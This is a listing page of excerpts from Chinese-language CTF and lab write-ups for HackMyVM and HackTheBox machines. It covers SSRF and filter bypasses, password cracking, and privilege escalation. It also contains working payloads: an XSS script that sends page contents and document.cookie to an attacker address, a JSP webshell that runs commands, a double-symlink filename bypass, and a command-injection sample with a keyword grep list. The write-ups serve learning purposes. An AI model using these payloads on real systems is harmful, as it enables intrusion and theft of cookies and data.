[HMV]第一章

一个新发现的靶场hackmyvm,随便拿台靶机试试难度,本期靶机boxing url用户名 这个之前CTF题里遇到过,这里用来绕SSRF的访问域名限制了,用得挺巧妙的。先来看一下代码 <?php if(isset($_GET['url'])){ $url = $_GET['url']; if (!preg_match("/^http[s]?:\/\//", $url)) { $url = "http://" . $url; } if (strpos($url, "http://boxing.hmv") === 0 || strpos($url, "https://boxing.hmv") === 0) { $content = file_get_contents($url); echo $content; } else { echo "Unauthorized URL."; } } ?> 简答来说就是输入的内容会被拼接到http://后,再判断是不是http://boxing.hmv,如果是就读取 逻辑很简单,问题就出在拼接。如果我此时想访问这台机子的127.0.0.1:5000,如果我直接输入就会变成http://127.0.0.1:5000,没法访问。但如果我输入的是http://boxing.hmv@127.0.0.1:5000,这样就既能满足判断条件(因为是strpos位置匹配而不是preg_match这种全匹配),因此就能过 原理可以看这篇靶场笔记的parse_url与curl一栏https://redshome.top/2024/06/30/靶场笔记第十九章/ 特殊字符fuzz 有时候碰到理论上能行但却没有执行结果的时候,确保拼接起来的命令能执行后,要思考的就是是否过滤掉了特殊字符。比如空格、引号这种老黑户 这个时候就可以把空格或者引号的地方fuzz一下换成别的,比如+这个神奇的符号。也许你直接在shell运行不对,但放到web上就对了,原因有可能是apache2启用了Rewrite配置或者php做了str_replace(在本题php里没找到replace,因此猜测是apache2,不过粗略搜索后也没发现,就有点发懵了= =) 放上fuzz的语句供参考 ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid' -w chars.txt -fs 2548 incrontab 简单来说就是一个处理正在监听中的系统事件的程序,而这个程序在这台机子里由一个叫incrontab.sh的脚本运行,用来监听一些事件,其中有一个事件如下 echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab - 意思就是当user.txt被更改权限时触发sos.sh运行 file * 这段指令的意思乍一看就是把所有文件名匹配并填入这个*。而这么做的操作空间就很大了,可以利用file的-f参数来达到读取文件的目的。 file -f fname 这段指令的意思是将fname的内容当作文件名被file处理。而问题就出在如果fname内容不存在,则会出现下面这一幕 ...

February 3, 2025 · 1 min · Red

[HTB]第四章

终于到了medium难度,一台靶机能学到的东西更多。本篇靶机为Instant apktools 主要是用来做apk逆向,用法有d(decode)和b(build)两种,d用的更多,因为要解包看有什么内容 grep -R 感觉现在再写grep参数有点水字数的意思= = -R是递归且跟踪软/硬链接 通过apk搜集子域名和token等敏感信息 RT,如果从网站某个角落挖到一个apk,如果这个apk联网,那么大概率是需要链接到某个与网站有关的路径或者子域的。一般会和上面的grep结合起来用 一般带有admin、test等字样的函数也是重点观察对象,有可能存在开发者粗心留下的测试后门 以及“pass,” “pwd,” “user,”等 ssh -i -i后面加identify_file,也就是私钥 这里再补充一个小知识点,一般我们的电脑去连接远端服务器的时候,我们的电脑里存的是私钥而不是公钥,公钥存放在远端服务器里。我们可以通过将本地自己生成的公钥事先放到远端服务器上,随后用 [m]get -r sftp和smbclient中的小窍门,下载文件夹 solar-putty 这是一个类似putty的东西,使用者有可能会留下一些加密过的备份文件在服务器上,如果使用者曾经使用过solar-putty进行ssh登录那么就有可能导致ssh密码泄漏 小tips 说是都要分析一遍,尤其是backup这种敏感文件,但实战中linpeas一扫出来简直不要太眼花缭乱 怎么办呢?其实linpeas扫出来的不一定都是能看到,比如下面这样 如果要一眼看出有什么有用信息,那么权限肯定是最好的切入点。毕竟扫出来多是多但还是得挑能看到 还有一个害我差点重装系统的坑,就是私钥最后一行必须有一个回车,不然就会报这个b错 一度让我怀疑是不是kali的什么东西炸了,结果看到ubuntu给的报错 才去检查格式问题,最后发现私钥最后一行必须加换行 这就是我们ubuntu

December 20, 2024 · 1 min · Red

[HTB]第三章

本篇靶机为Sea、Sightless和Chemistry hashcat、hydra和john的小常识 三者格式如下 hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt john hash --wordlist=/usr/share/wordlists/rockyou.txt hydra -L users.txt -p '???' ssh://ip 其中users.txt和hash为文件,hydra用来ssh密码喷洒 顺便记录一下hashcat -a的attck mode都是什么意思 shell中的注释 php代码如下 <?php if (isset($_POST['analyze_log'])) { $log_file = $_POST['log_file']; $suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'"); if (!empty($suspicious_traffic)) { echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>"; echo "<pre>$suspicious_traffic</pre>"; } else { echo "<p>No suspicious traffic patterns detected in $log_file.</p>"; } } ?> 很明显是要命令注入$log_file,但在CTF里学的绕过方法都不奏效,是因这里有一个管道符|在捣乱 所以思路是要让管道符失效,linux shell中让后续命令失效的办法只有一个,那就是注释,所以直接用 #注释就行 ...

December 19, 2024 · 1 min · Red

[HTB]第二章

最近终于有空来玩玩HTB啦,时隔半年的HTB笔记也终于又更新了。本篇靶机为Alert和Linkvortex xss回连测试与数据带回 可以用下面这段简单测试xss是否存在bot访问从而进行回连 <script>location="http://ip"</script> 如果存在,就可以用fetch进行外带,达到类似CSRF的效果 <script> var readfile="http://127.0.0.1/index.php";//改一下page就好 fetch(readfile) .then(response => response.text()) .then(data => { fetch("http://ip/?data=" + encodeURIComponent(data)+"&cookie="+document.cookie);//改成你的ip }) .catch(error => fetch("http://ip/?err="+error.message)); </script> apache2默认配置文件路径 /etc/apache2/sites-available/000-default.conf .htpasswd 这是一个和.htaccess类似的apache用户级配置文件,可以配合apache认证功能来模拟一个简单的登录认证。这个文件就是用来存放账号密码的。明文,可以直接查看 linpeas参数 -o参数是个很好用的参数,可以指定输出一些东西,因为linpeas的东西实在太杂了 一般intersting_perms_files是个不错的选择 同时,拿到foothood后观察一下127.1的端口也是个很值得关注的点 groups 这是一条指令,可以查看当前用户和所在组。当然如果环境中没有这个软件,也可以用cat /etc/groups | grep "akaRed",是等效的 Dockerfile 有时候githack下来的dockerfile会说使用了什么配置文件去build,配置文件里可能会有密码之类的 HOST头FUZZ 有时候需要fuzz子域,但是在不知道的情况下又没dns咋办?去fuzz host头就行 ffuf -u "http://ip" -w /usr/.../dns.txt -H "HOST: FUZZ.???.???" -ac 关于ffuf的使用可以看下面一条。这里也顺便记录一个子域字典吧:/usr/share/dnsenum/dns.txt 不得不说kali的自带字典虽然藏得深但是真的全 ffuf wfuzz日常没法用的一天= = 现在我投靠了这个新的fuzz工具,一样kali自带 格式如下,很方便很好记 ffuf -u "http://ip/FUZZ" -w /usr/.../dns.txt -fc/-ac -fc和-ac选一个就行,-fc是过滤你不要的,比如-fc 404。-ac是自动过滤软件自己觉得没用的 软链接绕过名字检查 好像上一篇HTB记录过,但是上一篇是为了让检测软件误认为自己打开的是pdf实则是我们定向的文件,检测软件并没有对定向过后的文件做检查 但这里要介绍的是,如果做了定向后的检查,只要套了两层软连接,就可以绕过一些文件名检查。这里的漏洞就在于软件一般只追踪一层,而不会去看下一层 比如要你只能打开png图片,那么我只要像下面这样包,就检测不到了 ln -s /etc/passwd 2.png ln -s 1.png 2.png 小tips 要注意观察每个文件夹的读写执行权限和所属组 ...

December 17, 2024 · 1 min · Red

[靶场笔记]第二十二章

web.xml相关知识 直接来看看下面这个示例 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <!-- 配置默认servlet来处理静态资源 --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> </servlet> <!-- JSP Servlet 映射 --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> <url-pattern>*.xml</url-pattern> </servlet-mapping> </web-app> 第一个<servlet-mapping>里用来处理静态资源,指定根路径是/,没什么好说的。 <servlet>用来定义一个名叫jsp的类似变量一样的东西,然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断 第二个中,当访问例如诸如.jsp等在<url-pattern>定义的文件路径后,将会交由上述<servlet>中对应的“变量名”(这里就是jsp)进行处理,也就是交由org.apache.jasper.servlet.JspServlet判断 这段web.xml可以被拿来直接使用,如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml,搭配下面的jsp小马即可上线 jsp小马 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami information_schema.tables绕过 可以用sys.schema_table_statistics_with_buffer来替换,效果是一样的 另外提一嘴题外话,如果发现or或者and等测试句没反应,有可能是服务故意为之,此时就要考虑是不是有关键字或者空格之类的被ban掉了,空格可以用%09等代替 throw new异常抛出绕过(GC绕过) 如果碰到下面这种情况 class FileHandler { ... ... public function __destruct() { if (file_exists($this->fileName) &&!empty($this->fileHandle)) { fclose($this->fileHandle); echo "File closed: {$this->fileName}\n"; } } } ... ... if(isset($_GET['exp'])) { if(preg_match('/<\?php/i',$_GET['exp'])){ exit; } $exp = unserialize($_GET['exp']); throw new Exception("Test!"); } 如果你想利用这里的destruct作为触发点,会因为有一个throw new而无法触发(异常肯定优先于php执行完整个反序化过程)。因此可以参考使用GC回收机制进行绕过,进而强行在throw new之前触发destruct。 ...

November 1, 2024 · 1 min · Red